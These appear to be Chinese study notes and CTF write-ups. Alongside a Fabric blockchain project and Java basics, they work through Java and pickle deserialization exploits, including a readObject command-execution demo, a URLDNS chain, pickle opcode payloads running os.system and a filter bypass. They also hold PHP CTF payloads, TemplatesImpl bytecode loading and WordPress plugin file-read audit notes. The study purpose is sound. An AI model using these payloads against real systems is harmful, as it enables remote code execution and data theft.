基于fabric的区块链项目

#搭建fabric环境
##配置证书
fabric网络中节点之间通讯都需要提供证书用来标识自己的身份
cryptogen工具快速生成相关证书
##配置系统链创世块
fabric系统配置是存放在区块链上的,系统成功运行至少要有一个链
configtxgen生成系统链,第一个数据块保存了用户定义的一些配置,

  • 会读取configtx.yaml和crypto-config文件下的证书用于生成channel的创世块
    生成的 genesis.block 是系统链的第一个区块,里面存放了 Orderer 节点、Orderer 管理员的证书,在 Orderer 节点启动时会用到这个数据块。
    ##如何理解fabric
    类似于一个服务器,然后,
    fabric用go语言实现链码,实现对peer节点的操作,也即是智能合约。
    ###链码
    一共有五个节点,分为农户【farmer】,原料厂商【material】,生产厂商【productinfo+productProcess】,物流厂商【driver】,零售商【retailer】
    ####物流厂商
    定义上链的信息结构体

    通过api接口使用各函数

    其他的链码定义方式同上
    ####路由
    定义各个节点的路由

    ####api代码
    引入fabric-client模块,基于此模块进行fabric区块链网络的节点功能调用

    通过定义多个路由,利用以下代码进行区块链的上链查询等操作

在区块链环境中,每个希望于网络交互的参与者都需要一个身份,ca提供可验证的数字身份

java安全基础知识

##java序列化和反序列化
其实和php的类似,生成序列化内容,然后反序列化序列数据。其中有一部分点事需要注意的

Java 序列化是指把 Java 对象转换为字节序列的过程
ObjectOutputStream类的 writeObject() 方法可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 对象的过程
ObjectInputStream 类的 readObject() 方法用于反序列化。

  • 是否具有serialize结构(Implements Serializable)
  • transient表示的对象成员变量不参与序列化
  • 如果该类的某个属性标识为static类型的,则该属性不能序列化。
  • 如果对私有方法进行反序列化更改值的时候需要使用反射

接下来看看demo
这里写了一个java类

import java.io.Serializable;
public class person implements Serializable{
private String name;

public person(String name){#person类的构造方法
this.name = name;
}
public String toString(){ #这里重写了toString方法
return "person{"+
"{name:"+name+"}";
}
public void setname(String name){ #这是他的静态方法
this.name=name;
}
public String getName(){ #有返回值的方法
return name;
}
}

在这里对其进行序列化,主要使用ObjectOutputStream导入序列化流

import java.io.*;
public class Main {
public static void serialize(final Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void main(String[] args) throws Exception{
person p=new person("test");
serialize(p);
}
}

在这里对其进行反序列化而最后的println会调用toString方法

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserializetest {
public static Object unsetialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
person pe = (person) unsetialize("ser.bin");
System.out.println(pe);
}
}


##java反序列化安全问题
java反序列化和php反序列化类似,都是去寻找可以利用的类和方法,java反序列化时即会调用readObject
###利用条件

  • 反序列化点输入可控
  • 使用readObject函数执行反序列化
  • 当前class空间中存在一个可复写readObject的类
  • 可利用当前环境下的readObject进一步构筑利用链
    ###利用形式
  • readObject中有可控危险方法
  • 入口类参数中包含可控类,该类有危险方法,readObject时调用
  • 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
    ###重写readObject方法

这里就还是举一个demo:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}

重新序列化以及反序列化即可弹出计算器

####为什么readObject函数需要private属性,传参java.io.ObjectInputStream?

这个文章里面写了对比
readObject重写解释
总结来说就是:

  • 我们其实不是重写了readObject,而是利用传入的参数不同,使得其能被重新赋值,执行被复写的参数,这就回答了标题的问题了
  • 而这个条件首先需要方法名为readObject
  • 返回类型为void
  • 传入参数为ObjectInputStream.class类型参数
  • 修饰符不能包含static
  • 修饰符必须包含private
    ###利用可控类执行命令
    ####URLDNS链
    构造链:
    HashMap.readObject->HashMap.hash->URl.hashcode->URL.getHostAddress
    这里简要分析一下poc:
  • java在反序列化时会自动调用readObject,如果此类重写了readObject则会调用该类重写以后的
  • 在HashMap中重写了readObject,并且调用了hash(key)
  • 跟进hash(key),发现其调用了hashCode方法
  • 而这里我们可以跟URL的hashCode方法,在这里就触发getHostAddress,访问dnslog链接
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("http://25x9gm.dnslog.cn/");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");

hashcodefield.setAccessible(true);

hashcodefield.set(url,1234);
hashmap.put(url,1);
hashcodefield.set(url,-1);

serialize(hashmap);

}

接下来谈谈如何书写这个反序列化链条
1.确定我们要反序列化的对象,也就是要实例化的类,很明确这里就是HashMap,接下来需要研究一下,如何传入数据,可以看到readObject中,最后使用的是put

java基础语法

##java基础语法
###重写

  • 参数列表与被重写方法的参数列表必须完全相同。

  • 返回类型与被重写方法的返回类型可以不相同,但是必须是父类返回值的派生类(java5 及更早版本返回类型要一样,java7 及更高版本可以不同)。

  • 访问权限不能比父类中被重写的方法的访问权限更低。例如:如果父类的一个方法被声明为 public,那么在子类中重写该方法就不能声明为 protected。

  • 父类的成员方法只能被它的子类重写。

  • 声明为 final 的方法不能被重写。

  • 声明为 static 的方法不能被重写,但是能够被再次声明。

  • 子类和父类在同一个包中,那么子类可以重写父类所有方法,除了声明为 private 和 final 的方法。

  • 子类和父类不在同一个包中,那么子类只能够重写父类的声明为 public 和 protected 的非 final 方法。

  • 重写的方法能够抛出任何非强制异常,无论被重写的方法是否抛出异常。但是,重写的方法不能抛出新的强制性异常,或者比被重写方法声明的更广泛的强制性异常,反之则可以。

  • 构造方法不能被重写。

  • 如果不能继承一个类,则不能重写该类的方法。

##java反射
###反射基本概念
官方概念:JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法,这种动态获取、调用对象方法的功能称为java语言的反射机制。

反射是通过Class对象(字节码文件),来知道某个类的所有属性和方法。也就是说通过反射我们可以获取构造器,对象,属性,方法(原本不知道)
我的理解:就是获取实例化对象的原本的class。那么此时我们获取到他原本的class以后,想要获取其属性,方法就很容易了。
###获取Class对象
####通过该类的对象获取对应的Class对象

public static void main(String[] args) throws Exception{
person p=new person("test");
Class a = p.getClass();
System.out.println(a);
}

####通过类名.class静态属性

Class stuClass2 = Student.class;
System.out.println("是否为同一个class对象?"+(stuClass==stuClass2));

虽然比较简单,但是需要导包,不然会编译错误
####通过Class类中的静态方法forName()方法获取

public static void main(String[] args) throws Exception{
person p=new person("test");
Class a =Class.forName("person");
System.out.println(a);
}


###获取有参构造方法
####getConstructor()

public Constructor<T> getConstructor(Class<?>... parameterTypes)
throws NoSuchMethodException, SecurityException {
checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);
return getConstructor0(parameterTypes, Member.PUBLIC);
}

这里解释一下,
1.首先传出的类型和Constructor有关,这个<T>指的是泛型,意思是传入的类型又右边的数据类型决定
2.后面可以发现,他传入的数据类型要求是一个class类,那么我们这里其实可以这样构造

import java.io.*;
import java.lang.reflect.Constructor;

public class Main {
public static void serialize(final Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void main(String[] args) throws Exception{
person p=new person("test");
Class a =Class.forName("person");
Constructor personconstructor=a.getConstructor(String.class);
person pe1=(person) personconstructor.newInstance("aaa");
System.out.println(pe1);

}
}


有几个点解释一下:

  • newInstance() 是java反射框架中类对象(Class)创建新对象的方法
  • 现在获取到person这个原型Class,然后我们想要实例化对象出来(也就是利用),此时我们可以单纯使用newInstance,但是这样的话,此时调用的是person类的无参构造方法
    public static void main(String[] args) throws Exception{
    person p=new person("test");
    Class a =Class.forName("person");
    person pe1=(person) a.newInstance();
    }
  • 可以使用getConstructor获取其有参构造方法,而里面的参数由于要求写的是类,所以我们的写法是String.class,即通过类名.class静态属性获取其原型Class进行穿参写入
  • 接下来再使用newInstance创建的就是有参的对象了
    ###获取类里面的属性
    ####getFields()&getDeclaredFields()
    这两个就是打印当前类里面的所有属性,但是加上Declared以后其私有属性也将会被打印出来
     public static void main(String[] args) throws Exception{
    person p=new person("test",22);
    Class a =Class.forName("person");
    // Constructor personconstructor=a.getConstructor(String.class);
    // person pe1=(person) personconstructor.newInstance("aaa");
    // System.out.println(pe1);
    person pe1=(person) a.newInstance();

    Field[] persof=a.getFields();
    // Field[] persof=a.getDeclaredFields();
    for(Field f:persof){
    System.out.println(f);
    }
    }
    ####getField()&getDeclaredField()

更改public属性:

    public static void main(String[] args) throws Exception{
person p=new person("test",22);
Class a =Class.forName("person");
// Constructor personconstructor=a.getConstructor(String.class);
// person pe1=(person) personconstructor.newInstance("aaa");
// System.out.println(pe1);
//person pe1=(person) a.newInstance();

Field persof=a.getField("age");
// Field[] persof=a.getDeclaredFields();
// for(Field f:persof){
// System.out.println(f);
// }
persof.set(p,23);
System.out.println(p);

}

  • 使用set进行赋值操作,可以看到他的参数为obj和value,也就是说我们需要对一个对象进行赋值操作

更改private属性:

    public static void main(String[] args) throws Exception{
person p=new person("test",22);
Class a =Class.forName("person");
// Constructor personconstructor=a.getConstructor(String.class);
// person pe1=(person) personconstructor.newInstance("aaa");
// System.out.println(pe1);
//person pe1=(person) a.newInstance();

Field persof=a.getDeclaredField("name");
persof.setAccessible(true);
// Field[] persof=a.getDeclaredFields();
// for(Field f:persof){
// System.out.println(f);
// }
Field persof1=a.getField("age");
persof.set(p,"aaa");
persof1.set(p,25);
System.out.println(p);

}
  • 只需要使用getDeclaredField,并且加上setAccessible(true)
    ###获取类的方法
    ####getDeclaredMethod()/getMethod()

    Method perMethod=a.getMethod("getName");
    System.out.println(perMethod.invoke(p))
  • 和上面获取属性的用法类似

  • 这里需要使用invoke来启动这个方法

  • 调用有参方法,需要写清楚类型

    Method perMethod=a.getMethod("getName", String.class);
    System.out.println(perMethod.invoke(p,"abcd"));

  • 获取private方法,也只需要加上perMethod.setAccessible(true)即可触发
    ##java代理
    ###java静态代理
    若类中方法较多,则静态代理类中需要重写的方法也较多

    public class UserProxy implements IUser {
    IUser user;
    public UserProxy(){}
    public UserProxy(IUser user){this.user = user;}

    @Override
    public void show() {
    user.show();
    System.out.println("调用了show");
    }
    }

    ###java动态代理
    ####构造过程
    demo
    main.java:

    public class ProxyTest {
    public static void main(String[] args) {
    IUser user=new UserImpl();
    //user.show();


    //静态代理
    // IUser userproxy = new UserProxy();
    // userproxy.show();
    InvocationHandler userInvocationHandler = new UserInvocationHandler(user);
    IUser userproxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(),userInvocationHandler);
    userproxy.show();


    }
    }

    UserinvocationHandler:

    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Method;

    public class UserInvocationHandler implements InvocationHandler {
    IUser user;

    public UserInvocationHandler(IUser user){
    this.user = user;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    method.invoke(user,args);
    return null;
    }
    }
  • 动态代理利用的是java中的Proxy类来进行代理,其参数由三部分组成,其中最主要的是要自定义一个InvocationHandler,并通过重写其invoke方法来进行动态代理调用,从而弥补静态代理过程中如果有多个方法,需要重写多个方法的缺陷

  • 动态代理使用过程中,除了一开始创建InvocationHandler的时候调用的是InvocationHandler接口,其他的都是属于你所要调用的类的接口,例如这个demo中是IUser,所以后面写的都是IUser
    ####意义
    代理的意义,其实就是不修改原有的类,但是增加了其功能
    ##java类加载机制
    ###类加载的时候会执行代码情况
    初始化:静态代码块
    实例化:构造代码块,无参构造函数
    ####动态类加载方法
    Classloader将字节流加载到内存,并使用defineClass加载到JVM生成可以被调用的类。Java源码编译之后生成对应的字节码,字节码的存储形式不只局限于文件,还可以使用访问数据库,URL请求的方式进行获取。存储的字节码还可以使用加密算法进行加密,提高存储安全性

  • 1.Class.forName 不能加载原生类型,但其他类型都是支持的

  • 2.Classloader.loadclass 不能加载原生类型和数组类型,其他类型都是支持的
    Class.forname
    ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader

LoadClass->findClass(重写的方法)->defineClass(从字节码加载类)

public class LoadClassTest {
public static void main(String[] args) throws Exception{

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("")} );
Class<?> c = urlClassLoader.loadClass("Hello");
c.newInstance();

}
}

defineClass重载加载字节码

public class LoadClassTest {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClassMethod= ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Class文件路径"));
Class c = (Class) defineClassMethod.invoke(cl,"要加载的类的名称",code,0,code.length);
c.newInstance();

}
}

unsafe实现动态类加载

Class c = Unsafe.class;
Field theUnsafeField = c.getDeclaredField("theUnsafe");
theUnsafeField.setAccess

pickle反序列化

##pickle反序列化语法
###可序列化的对象

  • None,True,False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存的对象的集合,包括tuple、list、set、dict
  • 定义在模块最外层的函数(使用def定义,lambda函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__属性值或__getstate__()函数的返回值可以被序列化的类
    ###object.__reduce__()函数
  • object.__reduce__()返回一个(callable,([para1,para2....])[,...])的元组,在unpickle时,就会将callable作为函数并执行para1参数
  • 在下文pickle的opcode中,R的作用与object.__reduce__()关系密切,选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。包含该函数的对象被pickle序列化时,得到的字符串是包含R

###opcode版本

  • pickle有不同的实现版本,在py2和py3中得到的opcode不同,但是pickle可以向下兼容。目前,pickle有6种版本
    import pickle
    a={'1':1,'2':2}
    print(f'# 原变量:{a!r}')
    for i in range(4):
    print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
    输出:
    # 原变量:{'1': 1, '2': 2}
    pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
    pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
    pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
    pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
    以上为不同版本的opcode形式
    ###pickletools
    通过pickletools可以将opcode转化为容易读取的形式

    ###如何使用手写opcode
    ####使用pickle序列化编写简单的exp
    #####成功命令执行
    import pickle
    import os
    class testpoc(object):
    def __reduce__(self):
    s="whoami"
    return os.system,(s,)

    exp= testpoc()
    poc=pickle.dumps(exp)
    print(poc)
    pickle.loads(poc)

    值得注意的是这里的返回值,需要满足reduce的使用方式,第一次参数为执行的函数,第二参数需要为元组,里面的内容为执行的参数
    #####实现变量覆盖
    import pickle
    key1 = b'321'
    key2 = b'123'
    class A(object):
    def __reduce__(self):
    return (exec,("key1=b'1'\nkey2=b'2'",))

    a = A()
    pickle_a = pickle.dumps(a)
    print(pickle_a)
    pickle.loads(pickle_a)
    print(key1, key2)
    这里有必要熟悉一下exec这个函数
    exec:exec obj.exec 执行储存在字符串或文件中的Python语句,相比于 eval,exec可以执行更复杂的 Python 代码。

    ####手写opcode
    #####pickle过程详细解读

1.pickle依靠pvm进行,涉及解析引擎、栈、内存
2.解析引擎从流中读取opcode和参数,并对齐进行解释,遇到.的时候停止,最终留在栈定的值会被作为反序列化对象返回
3.memo:由python的dict实现,将反序列化完成的数据以key-value的形式存储在memo中
#####opcode操作集合
具体的就看这里的表格:https://xz.aliyun.com/t/7436
编写时需要注意

  • 了解栈中数据的变化,正确使用opcode
  • 与python本身的操作对照,比如append对应a,exten对应e
  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattr、dict.get)才能进行。但是因为存在s、u、b操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有c、i。而如何查值也是CTF的一个重要考点。
  • s、u、b操作符可以构造并赋值原来没有的属性、键值对。
    以上为粘贴复制内容,还不太理解~

拼接opcode
将第一个pickle流结尾表示结束的.去掉

import opcode
import secret
import pickle
import pickletools
opcode=b"""c__main__
secret
(S'name'
S'1'
db."""

print('be:',secret.name)

output=pickle.loads(opcode)

print('output:',pickletools.dis(opcode))

print('af:',secret.name)


这里来解析一下这个opcode
1.c__main__\nsecret\n:使用c操作符,引入当前main模块,并且获取secret对象
2.S:实例化一个字符串对象
3.(:向栈中压入一个MARK标记
4.d:寻找栈中的上一个MARK,并组合之间的数据为字典(因此必须要偶数个,呈key-value对)
5.b:使用栈中的第一个元素(存储属性值也有属性名的字典),对第二个元素进行属性设置
#####与函数执行相关的opcode:Rio
R:

poc=b"""cos
system
(S'whoami'
tR.
"""

c引入os模块,获取其system函数,mark标记whoami参数,使用t操作符将whoami转化为元组,因为r操作符的对象是元组
i:
i操作符相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
具体写法:i[module]\n[callable]\n

poc=b'''(S'whoami'
ios
system
.'''
print(pickletools.dis(poc))
output=pickle.loads(poc)


跟着这个打印结果,可以解析一下:组合了whoami为一个元组作为获取到的system这个函数的参数
o:
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

poc=b'''(cos
system
S'whoami'
o.'''
print(pickletools.dis(poc))
output=pickle.loads(poc)

##实战
###pker工具使用
部分语法:

以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

####2022美团ctf复现

a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))

前面就是session的伪造操作,关键的pickle反序列化代码在这个位置
可以看到,他将builtin和os等内容都过滤了,并且将我们需要的Roib字符也过滤了,
首先从代码逻辑层面研究
他会将os替换为Os,此时如果最后的操作符输入,而在pickle中,有一个点很关键就是,opcode在执行过程中,遇到语法错误就会停止执行,但是在之前入过语法是正确的,则会照常执行
这其实很符合python的风格,python也是一直执行直到出现语法错误为止。
payload:

poc=b"""(cos
system
S'whoami'
os
."""


可以看到,即使最后跑出了error,但是依旧执行命令了
#####解法二
这种解法更考察对pickle反序列化的理解了
https://chowdera.com/2022/263/202209200043416482.html

2022Dest0g迎新赛

##phpdest

绕过require_once限制

  • /proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接
    payload:
    php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self
    ##EasyPHP
    在这里可以看到自定义了一个报错,当产生错误的时候,就会执行这个报错内容
    set_error_handler(
    function() use(&$fl4g) {
    print $fl4g;
    }
    );

    前面的代码都是干扰,我们重点需要关注的其实是我们的输入会做出什么操作,可以发现,我们输入的内容最后会和$fl4g做拼接操作,结合前面的自定义报错,那我们只需要让输入的内容为数组即可,因为数组和字符串直接拼接时会产生报错
  • 突然想到之前,如果不知道题目的考察点,数组啥的都先试试再说
    ##simplerce

无字符rce小记

##利用自增

$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);

payload

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa

java-字节码

什么是字节码

其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中

更广义上来说,所有能恢复成一个类并在jvm虚拟机里加载的字节序列,都在我们的探讨范围内。

利用URLClassLoader加载远程class文件

ClassLoader:

​ 是用来加载字节码文件最基础的方法,是一个加载器,告诉java虚拟机如何加载这个类,java默认的ClassLoader就是根据类名来加载类,,并且类名是类完整路径,如java.lang.Runtime

URLClassLoader

URLClassLoader实际上是我们平时默认使用的AppClassLoader的父类,所以,URLClassLoader=java类加载器的工作流程

正常情况下,Java会根据配置项sun.boot.class.pathjava.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有三种情况:

  • URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类。

java的URL支持哪些协议

JAVA默认提供了对file,ftp,gopher,http,https,jar,mailto,netdoc协议的支持

Loader寻找类

loader寻找类,最常见的情况就是http协议。

import java.net.URL;
import java.net.URLClassLoader;

public class classloader {
public static void main(String[] args ) throws Exception
{
URL[] urls={new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c =loader.loadClass("ex_1");
c.newInstance();

}
}
image-20220727152404028

利用ClassLoader#defineClass直接加载字节码

java加载远程class文件/本地class或jar文件

ClassLoader#loadClass ——> ClassLoader#findClass ——>ClassLoader#defineClass

其中:

  • Loadclass的作用是从已加载的类缓存,父加载器等位置寻找类(双亲委派机制)
  • findClass的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包、或远程http服务器上读取字节码,然后交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理为真正的java类

defineClass可以从byte[]还原出一个Class对象

使用defineClass直接加载字节码

import java.lang.reflect.Method;
import java.util.Base64;

public class defineclass {
public static void main(String[] args) throws Exception{
Method defineclass=ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);

byte[] code=Base64.getDecoder().decode("字节码内容");
Class hello = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Hello",code,0,code.length);
hello.newInstance();
}

}

使用TemplatesImpl加载字节码

TransletClassLoader

TransletClassLoader来自com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

其中重写了defineClass方法

Class defineClass(final byte[] b) { 
return defineClass(null, b, 0, b.length);
}

在重写的这个方法中,由于其没有显式声明作用域,,所以其作用域为default,所以也就是说这里的defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

TransletClassLoader#defineClass()向前追溯调用链为

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

利用newTransformer()构造poc:

public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("")

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][] {code});
setFieldValue(obj,"_name","HelloTemplatesImpl");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
obj.newTransformer();
}

其中,setFieldValue方法来设置私有属性,其中_bytecodes、_name和_tfactory._bytecodes是由字节码组成的数组;_name可以是任意字符串,只要不为null即可。

_tfactory需要是一个TransformerFactoryImpl对象,因为TemplatesImpl#defineTransletClasses()方法里有调用到\_tfactory.getExternalExtensionsMap()如果是null会出错

TemplatesImpl中对加载的字节码有一定要求即,这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

所以,我们需要构造一个特殊的类

import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() {
super();
System.out.println("Hello TemplatesImpl");
}
}

它继承了AbstractTranslet类,并在构造函数里插入Hello的输出,将其编译成字节码,即可被TemplatesImpl执行

利用BCEL ClassLoader加载字节码

package com.govuln; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.Repository; 

public class HelloBCEL {
public static void main(String []args) throws Exception {
JavaClass cls = Repository.lookupClass(evil.Hello.class);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
}
}

java字节码

##字节码
能够恢复成一个类并在jvm中加载的字节序列
##利用URLClassLoader加载远程class文件
ClassLoader是java的类加载器,告诉java虚拟机如何加载这个类,默认根据类名加载类,并且这个类名是类完整路径,例如java.lang.Runtime
###URLClassLoader
正常情况下,java会根据sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理后的java.net.URl类)来寻找.class文件进行加载,基础路径有三种情况

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
    ###defineClass
    在加载远程class文件、本地class或者jar包时,java都经历了

    其中
  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在
    本地文件系统、jar包或远程http服务器上读取字节码,然后交给defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
    ###defineClass加载字节码
    ####使用反射进行加载
    Method defineclass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
    defineClass,setAccessible(true);
    byte[] code= Base64.getDecoder().decode("");
    Class hello = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"hello",code,0,code.length);
    hello.newInstance();
    ####利用TemplatesImpl加载字节码
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类
    TransletClassLoader :

    重写了defineClass方法,并且没有显式地声明其定义域。如果没有显式声明,则其作用域为default,可以被类外部调用,而TransletClassLoader#defineClass()向前追溯调用链以后可以发现,其最前面的两个方法为法 TemplatesImpl#getOutputProperties() 、 TemplatesImpl#newTransformer()
    #####使用newTransformer()构造poc
    byte[] code=Base64.getDecoder().decode("");
    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj,"_bytecodes",new byte[][]{code});
    setFieldValue(obj,"_name","HelloTemplatesImpl");
    setFieldValue(obj,"_tfactory",new TransformerFactoryImpl);
    obj.newTransformer();
    其中:
    setFieldValue 方法用来设置私有属性,可见,这里我设置了三个属性: _bytecodes 、 _name 和 _tfactory 。
    _bytecodes 是由字节码组成的数组; _name 可以是任意字符串,只要不为null即可;
    _tfactory 需要是一个 TransformerFactoryImpl 对象,因为
    TemplatesImpl#defineTransletClasses() 方法里有调用到
    _tfactory.getExternalExtensionsMap() ,如果是null会出错。
    另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须
    是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
    因此在构造这个类的时候要写extends

代码审计小记

##可访问文件收集
如果存在反序列化,这里可以直接利用
.//wp-content/plugins/product-import-export-for-woo/admin/modules/product_tags/import/import.php:272 : 读取文件函数中存在变量,可能存在任意文件读取漏洞

如果可以覆盖文件写入的话
.//wp-content/plugins/woocommerce-germanized/vendor/globalcitizen/php-iban/php-iban.php:607 : 读取文件函数中存在变量,可能存在任意文件读取漏洞